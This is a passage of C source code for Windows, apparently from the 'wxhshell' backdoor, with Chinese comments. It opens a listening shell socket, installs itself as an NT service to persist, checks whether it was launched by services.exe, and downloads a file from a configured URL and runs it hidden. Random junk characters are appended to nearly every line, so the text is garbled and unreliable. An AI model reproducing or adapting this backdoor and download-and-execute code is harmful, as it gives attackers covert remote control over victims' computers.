ULONG UniqueProcessId; I&2c&yO
ULONG InheritedFromUniqueProcessId; IshKH-
} PROCESS_BASIC_INFORMATION; 'KP@W9j
n&L+wqJ
PROCNTQSIP NtQueryInformationProcess; 8hu<E4]L
Dl<bnx;0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @D.}\(
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lAS#874dE
9Z|jxy
HANDLE hProcess; rx'RSo#1O
PROCESS_BASIC_INFORMATION pbi; !`k1:@NZ
_Us#\+]_:
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z
8S\@I
if(NULL == hInst ) return 0; ?h3Y)5x T
9{'N{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D60aH!ft
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KxI&G%z
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
DH[p\Wy'
mi=Q{>rb
if (!NtQueryInformationProcess) return 0; iNWw;_|1
:WjpzgPuN
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -c_74c50
if(!hProcess) return 0; viW!,QQ(S
({
8-*
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Za/-i"U
/@wg>&L]
CloseHandle(hProcess); DjCqh-&L
`EEL1[:BR
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q2/pNV#
if(hProcess==NULL) return 0; rxVanDb=W
FTH|9OP
HMODULE hMod; s28`OKC}
char procName[255]; XR8,Vt)=
unsigned long cbNeeded; TcyNIx
:iK(JE`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Bgn&:T8<
,MdV;j~"'
CloseHandle(hProcess); m.JBOq=
j5QuAU8
if(strstr(procName,"services")) return 1; // 以服务启动 .sxcCrQE
O)C\vF#
return 0; // 注册表启动 e
h&IPU S
} !SC`D])l
bo,_&4?
// 主模块 szb_*)k
int StartWxhshell(LPSTR lpCmdLine) i#&z2h-b
{ _mzW'~9wN
SOCKET wsl; O#n8=B4
BOOL val=TRUE; Hta y-PB }
int port=0; ynmWW^dg
struct sockaddr_in door; Qn^'
n#/_Nz
if(wscfg.ws_autoins) Install(); $CxKuB(
Kh"?%ZIa
port=atoi(lpCmdLine); N@;?CKU
-<c=US
if(port<=0) port=wscfg.ws_port; jTf@l?|
CHdX;'`*
WSADATA data; aC^\(wp[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; heltgRt
_ ?TN;
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; gMv.V{vD
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )}''L{k-
door.sin_family = AF_INET; ?RX3MUN
door.sin_addr.s_addr = inet_addr("127.0.0.1");
#c!*</
door.sin_port = htons(port); b[__1E9v'
%&$Tz1"
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #&cI3i
closesocket(wsl); +y,T4^{
return 1; eiuSvyY
} E0BMv/r8b
S_iMVHe
if(listen(wsl,2) == INVALID_SOCKET) { )r';lGh2#
closesocket(wsl); "C?#SO
B
return 1; BmBj7
} g-qP;vy@"q
Wxhshell(wsl); Okgv!Nt8)A
WSACleanup(); w _u\p a
rJd,Rdt.
return 0; NnO~dRx{
zqd@EF6/bz
} LU+3{O5y
t^VwR=i
// 以NT服务方式启动 Bm.afsM;
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6T>mW#E&
{ Y4%:7mw~=
DWORD status = 0; DDvh4<Hk
DWORD specificError = 0xfffffff; sJ\BF
HPpR.
serviceStatus.dwServiceType = SERVICE_WIN32; SEORSS
serviceStatus.dwCurrentState = SERVICE_START_PENDING; S,D8F&bg
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "lQ*1.i
serviceStatus.dwWin32ExitCode = 0; Pl(Q,e7O]
serviceStatus.dwServiceSpecificExitCode = 0; FRcy`)
serviceStatus.dwCheckPoint = 0; Twh!X*uQ
serviceStatus.dwWaitHint = 0; @)IjNplYkw
r}Ohkr
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J%8(kWQ|
if (hServiceStatusHandle==0) return; Us%T;gW
g6nkZyw
status = GetLastError(); K7$x<5 +)
if (status!=NO_ERROR) yZd +^QN
{ H!vax)%-\
serviceStatus.dwCurrentState = SERVICE_STOPPED; xE1 eT,
serviceStatus.dwCheckPoint = 0; |yvQ[U~PQ
serviceStatus.dwWaitHint = 0; 2`.cK 3
serviceStatus.dwWin32ExitCode = status; w|3z;-#Q;
serviceStatus.dwServiceSpecificExitCode = specificError; L%">iQOG#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P<oehw'>
return; S(QpM.9*
} dCb`xR}
|
H!28h
serviceStatus.dwCurrentState = SERVICE_RUNNING; Kj V:|
serviceStatus.dwCheckPoint = 0; YpQ7)_s?
serviceStatus.dwWaitHint = 0; g!cUF+
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R{RwTN<
} R5"K]~
|b[+I?X
// 处理NT服务事件,比如:启动、停止 L9-h;] x!
VOID WINAPI NTServiceHandler(DWORD fdwControl) tM2)k+fg
{ BNz 5lrfq
switch(fdwControl) +nUy,S?43
{ m[i+knYX
case SERVICE_CONTROL_STOP: YZP(tn
serviceStatus.dwWin32ExitCode = 0; 8'n/?.7cX
serviceStatus.dwCurrentState = SERVICE_STOPPED; NIh:DbE
serviceStatus.dwCheckPoint = 0; hZ[E7=NTQ^
serviceStatus.dwWaitHint = 0; -7m:91x
{ !GOM5z,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); EJ@?h(O
}
h1:aKm!
return; KN$}tCU
case SERVICE_CONTROL_PAUSE: >oea{u
serviceStatus.dwCurrentState = SERVICE_PAUSED; )S`jFQ1
break; ktI/3Mb@
case SERVICE_CONTROL_CONTINUE: n 9\
C2r
serviceStatus.dwCurrentState = SERVICE_RUNNING; )iq-yjO6
break; j0Bu-sO$w
case SERVICE_CONTROL_INTERROGATE: W8Q|$ZJ88F
break; og4UhP^UET
}; dG@"!!,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )X04K~6lY
} ~SQ?BoCI[
V7#Ff i
// 标准应用程序主函数 6W@UJx}w5
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '[J<=2&
{ Tskq)NU
u83J@nDQ
// 获取操作系统版本 P-`M
OsIsNt=GetOsVer(); Q=BZ N]g2
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5?p2%KQ
Zkx[[gzL
// 从命令行安装 9Kg21-?
if(strpbrk(lpCmdLine,"iI")) Install(); GRMiQa
]"+95*B
// 下载执行文件 Q#^Qv.s?K
if(wscfg.ws_downexe) { )=\#UE+W
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ktnuNsp
WinExec(wscfg.ws_filenam,SW_HIDE); XIvn_&d;G
} jxiC
Kx,G
U;bK!&